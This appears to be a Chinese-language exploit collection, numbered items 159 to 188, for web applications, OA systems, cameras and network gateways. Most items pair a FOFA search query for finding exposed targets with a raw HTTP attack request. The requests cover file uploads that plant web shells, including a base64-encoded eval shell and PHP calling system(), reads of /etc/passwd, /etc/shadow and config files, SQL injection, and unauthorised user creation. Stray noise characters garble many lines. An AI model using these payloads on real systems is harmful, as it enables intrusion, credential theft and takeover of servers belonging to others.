159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
% `% o6 w5 @8 s! L# a/ GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+ c1 t# ]/ T' \/ j" AContent-Length: 1080
Accept-Encoding: gzip, deflate
/ g. K& g' O" h4 v4 \Connection: close
5 j  [$ X0 T# i7 l* ]7 t8 b2 mContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

" e1 K7 F( ]0 S7 Q2 z<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
2 V4 Q& q3 V; p  L+ O  T<vcode>1</vcode>
' l; M' V) ]) u6 R: Z<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
' q: v0 F( Y5 B6 v  n3 ^2 w% t9 z3 o</soap:Envelope>
9 c/ p6 F: S; b' X! s+ ]
; B5 f# i$ V/ L. X( u
% q3 x/ Z" [5 x7 k4 ~$ v  Z/ k1 V/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
3 |& q$ A4 m: @, i2 K" h

160. Sonatype Nexus Repository 3目录遍历与文件读取
% M/ x. R; Y" N4 k9 {0 K5 PCVE-2024-4956
FOFA：title="Nexus Repository Manager"
7 b4 ]" i. R" X8 Q3 y! y9 EGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
' L) l. L1 J- W9 z8 zHost: x.x.x.x
2 K9 f, C! s+ a4 Q& RUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
) L( `7 {7 j7 K+ U' h; YAccept: */*
6 t$ _  }$ O8 W: x: tAccept-Language: en
: \5 z' Q8 o# n% Y6 ?2 M2 XAccept-Encoding: gzip
) G; I9 Y, [4 F
: ]0 o; X! X+ B! q5 h0 D
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
6 `  u- `. b; k! ]& q% JFOFA：body="/KT_Css/qd_defaul.css"
/ S( ~5 ~9 u7 T& S第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
5 X5 E' \6 c5 MPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
4 E1 o, W- d! f% SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
! _% s8 k; ]  |! e* W, C$ sConnection: close
& ~! K( P6 G$ U' g3 T+ n) TContent-Length: 445
* |: g; w, A# ^& a4 Q9 k! }3 JContent-Type: text/xml
Accept-Encoding: gzip

( \& s% S  J" c- E# ^+ {& w7 A<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
* i) D$ M, |, r: Zhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
4 ?7 M9 l3 I: \; Dxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
: f$ }* G% z2 F+ |+ A: t- U<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
' ]- E" ?2 F! c4 k6 Y- d; |, l<fileName>../../../../dizxdell.aspx</fileName>
- T4 R' P6 z: j% D, A0 ^<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
) q# q9 o- b  ~5 J; f<tag>3</tag>
</UploadResume>
) y7 h) m: L' y</soap:Body>
</soap:Envelope>
* Y7 b: _2 f6 A$ {5 w1 _1 ]3 A2 m
; Y0 `2 ?- F2 X2 F% ?
http://x.x.x.x/dizxdell.aspx
9 V  v; t* R! m1 W" Z+ |, P0 T* u2 X1 k7 M
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
( g& |: P8 `: f# e/ V/ e* AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
; E2 d3 N9 d( R! ~6 QContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
- Y: Q# l9 d+ V
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
3 H- d8 C- a" EContent-Type: application/octet-stream
. \8 ?6 R# p! `( H
7 g9 V/ r- y1 D5 x! k- ]: E<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
! {0 r# ?8 T1 N$ U; M; KContent-Disposition: form-data; name="action"

% c1 g# m, K9 r2 x- g0 {% t8 \upload
9 a$ n8 D4 B4 Y5 A9 i/ D" f4 f------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

ResourceNewResponder
! R5 a* q4 G1 b5 H; b------WebKitFormBoundaryeegvclmyurlotuey
# y5 u: \0 ^0 nContent-Disposition: form-data; name="remotePath"

8 M  }7 F. i1 h  X/ o( \# l1 {/opt/resources
: n$ x% Q! ]+ C, D1 H  |" w) x% r------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx
- }0 P3 t# u8 q: @1 E$ P; y
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
( D* F" j1 D9 t% \' |$ r' f7 WContent-Length: 293
) r7 `; Z" ]; C; ^( r: B* wAccept: */*
Accept-Encoding: gzip, deflate
, j! O1 i: ~2 JAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
7 W# t2 b, e$ o! J1 b2 t) ?7 V! k------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
8 D$ ^! o* R* L3 j4 Z! K6 p& x# DContent-Type: image/jpeg

6 T. R' i7 t: C6 Ervjhvbhwwuooyiioxega
) }9 C  ^2 N4 x2 F# b% v------iiqvnofupvhdyrcoqyuujyetjvqgocod--

% B" }0 n1 H, |, i5 ]& x+ v0 b7 c
5 l  ?9 p0 U1 m164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
6 Z' H; O1 l, \FOFA: title="智慧综合管理平台登入"
4 j/ S; V6 i/ ]$ q- aPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
% H4 H( k. r  F/ R3 a  \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
* ?- k/ E5 L. Z. j' n$ tContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
! ?! o& w! ]! LContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
1 @. b3 ?# C8 @% c, `4 S------dqdaieopnozbkapjacdbdthlvtlyl--

& x0 w- h( N" Y) C4 S$ q# y1 d3 [
# r4 i9 I! u; fhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
1 i( H4 a/ t4 u+ V/ `* a- m# D
165. OrangeHRM 3.3.3 SQL 注入
: {% I2 x+ N  [3 yCVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
! B& F; H8 X3 l1 a7 J5 ~" s+ GPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
1 _+ c+ Q0 C/ r9 E2 i& o* r% XHost:
8 d" Q% l! Y# h4 ^6 uPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
1 k- o% m7 n( j- L) Y1 E# ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ y/ p: e) q5 j* e' pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
0 W& ]( l+ p0 N/ v4 S+ RCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
8 x2 k% a" n# JContent-Type: application/x-www-form-urlencoded
, ]# }) U% y$ {; u$ Y" TContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


$ W, [$ t. q( s8 g* l4 o2 W167. 精益价值管理系统 DownLoad.aspx任意文件读取
' n0 c+ H0 C9 B; x* N' Q6 tFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
8 h: K: m0 h' |% B2 JGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
9 |' s7 D4 G3 Q8 {- p* zHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 F; \3 l1 B& [: c2 \* M' j$ TContent-Type: application/x-www-form-urlencoded
$ P5 v3 B8 q' r. B& C, jAccept-Encoding: gzip, deflate
9 s6 a3 w# w: E! g  [% B7 TAccept: */*
Connection: keep-alive


4 w7 a( t1 z/ t3 B$ V168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
7 w  w0 L; ~! ?, w( n& yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
/ o% r8 n  b5 @' R4 zContent-Type: application/x-www-form-urlencoded
9 q5 T) v  G! jConnection: close


$ I* d0 O* ?- N! n; S/ D
+ a' X' J# K" w. ]$ L. q+ z# n7 a169. 宏景EHR downlawbase SQL注入
" n9 {' Z8 B$ c. Z! A4 X' M/ \FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
  t' |; }! [2 L( zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
. M4 D+ e  @/ CConnection: close
4 l. \8 ~- ^& T$ g+ ?1 j% J


3 y: A/ Y" d: M1 d( t2 U$ o) e170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
8 i# t% s1 d2 I  i. R  Q" kPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. a+ Q" y* u: H& W. w1 `" SContent-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
* D  |- ~. n0 \" ]; t+ E  p: \
  w0 s2 P  e% C! ~
" i% T0 \! V9 |4 o* \, |  V& W8 i171. 通天星CMSV6车载定位监控平台 SQL注入
' N+ A7 K- `- G; p$ D4 V9 M0 kFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
( J7 F- U- \& T: xHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
+ ~) K1 g, g' J! r% ]Accept: */*
6 ]2 ]: u" C% d3 qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
7 c8 w+ A, q' cConnection: close


" h# e2 f7 A7 B, I1 U; H/ r
172. DT-高清车牌识别摄像机任意文件读取
9 N3 ^! P1 Y4 LFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
' j; m5 T/ F; y, _% FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; l+ F* U- c+ I$ L! h" lAccept-Encoding: gzip, deflate
; U( s4 s( ~1 D+ k/ W; @; S5 ?Accept: */*
  B( H" C# i4 h: g5 e% |Connection: keep-alive
, d4 J/ r$ A8 \# F3 t

0 |  `9 k8 t( m
0 U2 L2 o+ ~( f  [3 R# Q) c173. Check Point 安全网关任意文件读取
6 u9 h8 @& i  o# Y" s1 Z8 LCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
; _+ d- u% [( `& ?: L1 ~POST /clients/MyCRL HTTP/1.1
Host: your-ip
) _/ `! X; |6 x, S4 w$ K0 T2 }Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
% k1 A/ y! m( W4 S5 f

9 e$ S3 B7 ~) W' {) c7 m3 N& E; X
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* |6 k, y) O: r& F% {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
2 b0 w' h, R; j& T& h8 pConnection: close
; W5 t( T2 |+ u) O: {$ Q
$ j; j, H$ q3 V+ H% k
) f6 ]& _  D4 Q0 L3 M3 W
  f5 ]* V; j! T( y* C0 v5 j: I175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
/ I% |7 z6 n, x8 K4 b- {6 w3 ZFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 X" P% x! v" H& T' wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' A; j# d0 c2 j* c; f* q5 I% nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

5 g3 E9 U3 h* V3 L$ M* [
* X3 {+ w9 d% Y0 j$ J176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
( D/ d9 D6 }8 a+ w9 ^POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

4 s* T3 ~* F4 H------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
2 X0 b2 s6 s* F& ]Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
' x6 d. D0 h9 N& Z" g6 Y: CContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--

' u. A. K: B  O0 ~

177. H3C路由器敏感信息泄露
9 u0 C! |0 b1 ^3 F; R/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
- ?1 X. o- k4 }1 ]; ^/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
( \3 S5 n: l/ E# C/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
- |! E1 U4 _" U+ f9 k* E( @3 b& d/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
0 n6 R4 i7 y) z7 L7 g/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
  F9 J% s  H! F# X# Q  \/userLogin.asp/../actionpolicy_status/../ER5100.cfg
$ b/ [. r9 q2 q* Z  s/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
  s3 X, i; n1 W: V3 \/ ?/userLogin.asp/../actionpolicy_status/../ER3260.cfg
  I- Z. x" S0 E6 y$ |/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
4 U4 O; O& [. Y0 V- p7 Z& @/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
0 u# o( Z$ h; A, P4 j( A/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


9 t( d, J. ]; w5 c178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 a, X' v9 [; ]! X3 ~# rContent-Length: 252
! \  t, D) C# _8 VAccept-Encoding: gzip, deflate
Connection: close
) y: o9 Q) w2 d% j/ J& ]Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
  K, k: U$ ]. ~: B' e-----------------aqutkea7vvanpqy3rh2l
# @. g; {' h7 \3 u3 AContent-Disposition: form-data; name="12234.txt"; filename="12234"
) l' i! M5 ~* z: ZContent-Type: application/octet-stream
% s/ ?; R) e9 r2 x8 c: j* M7 BContent-Length: 255

4 @' \  G* s! c" }$ U& w12234
" G, j! X  K" U0 t) x$ ~% S9 B-----------------aqutkea7vvanpqy3rh2l--
: T- C1 x6 I( B: |

' p7 e  t  {+ WGET /imc/primepush/%2e%2e/flex/12234.txt


, E1 [, v/ X0 y- E179. 建文工程管理系统存在任意文件读取
( W( _6 G# r& Z& ]POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
" o1 h7 Y' P+ r0 E0 YUser-Agent: Mozilla/5.0

path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
% T0 k6 s. A* _% WFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
' o9 ?: y! d& D& X. e7 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, I4 _8 n0 O& K! T& J# C/ i$ nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 |% q  C) }1 `8 `8 lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% ?  ^& U4 z7 ~3 xConnection: close
7 g$ ?( j/ n- k# d6 ]- N: U
- o  l" q% @: `
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
7 ~/ k" L4 r2 A5 g( N& \, QFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, U7 |3 o  j6 I4 r! v2 iAccept-Encoding: gzip, deflate, br
+ w6 D4 d5 M9 i7 ~% CAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
5 `: q! o6 X  s" T

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
$ Y, C/ |4 b: ]0 Y/ D9 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' Z& q8 z, [8 s: \Accept-Encoding: gzip, deflate, br
- D: a4 T2 j+ o# l' V. A$ MAccept-Language: zh-CN,zh;q=0.9
/ }! J* C* S7 V/ [Connection: close
Content-Type: application/x-www-form-urlencoded
0 l0 F. _/ `# N  Y6 x1 t' t
# |2 m* R: x3 i# b. s( M
username=test1234&pwd=test1234&savedays=1
+ C0 p$ Y6 Z& K( I% n

( u. y! s- O9 K% ?# Z, L9 J183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
: [5 @3 u% \5 u; G' R( R* BHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
/ ~9 H0 }! X6 `7 ~
" J2 C) C) D/ ?4 D1 K+ E" {
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
0 a( y0 a, F( a" tPOST /soap/AddUser HTTP/1.1
4 E+ l+ A9 C" z  w, _) v8 JHost: your-ip
4 E: z$ m! D( _' r) h+ ^- Q* iAccept-Encoding: gzip, deflate
5 C' h  }' \( D5 ?0 a' s  EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
- |5 y0 n$ W5 u* C- ~3 XContent-Type: text/xml; charset=utf-8
+ ]( w. t$ G" `$ oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

- c4 f( Q1 N0 x7 h% p2 h
185. 瑞友天翼应用虚拟化系统SQL注入
1 Q3 s; K% Z' C/ }( Tversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
, w, R, L4 k9 sHost: host


4 j# w: e/ m4 f8 \4 @. e186. F-logic DataCube3 SQL注入
% K# B* E' h) @; \CVE-2024-31750
& N0 X5 R! y4 _9 G% }" C6 CF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
4 s  E2 w. E+ ^6 dFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
7 d% @) A- V4 q/ g  C( d+ K, O) e5 t" XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
1 i# R' B* a: K9 l) W% |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 V5 K0 D( ~8 u" O+ a; `Connection: close
Content-Type: application/x-www-form-urlencoded
, P* q" M; U: ~) T: L& j2 e# A6 M. J
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

, n/ X& F' U3 S/ o. @1 ~
2 u- j! c0 C9 m7 z7 H& A187. Mura CMS processAsyncObject SQL注入
8 @. S# Y6 @" {9 ^CVE-2024-32640
FOFA："Mura CMS"
- g; X- O$ B6 L# ?* W2 `POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
: g* Q' m9 K  iContent-Type: application/x-www-form-urlencoded


! K" j: e! @1 F3 X+ ~! A! Fobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
5 i9 s! p/ g% y& D! u% M

188. 叁体-佳会视频会议 attachment 任意文件读取
1 y+ d4 ]- b+ ?version <= 3.9.7
; E. r  B! _- T4 mFOFA：body="/system/get_rtc_user_defined_info?site_id"
1 g1 P. P& W: j& `7 D6 UGET /attachment?file=/etc/passwd HTTP/1.1
5 |1 D! |+ H/ D* X" v2 x# LHost: your-ip
2 S; x. O$ M6 [- ~; Z- E2 C2 e5 C* S) hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, d, x- P' `. d4 @; d! E# N1 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
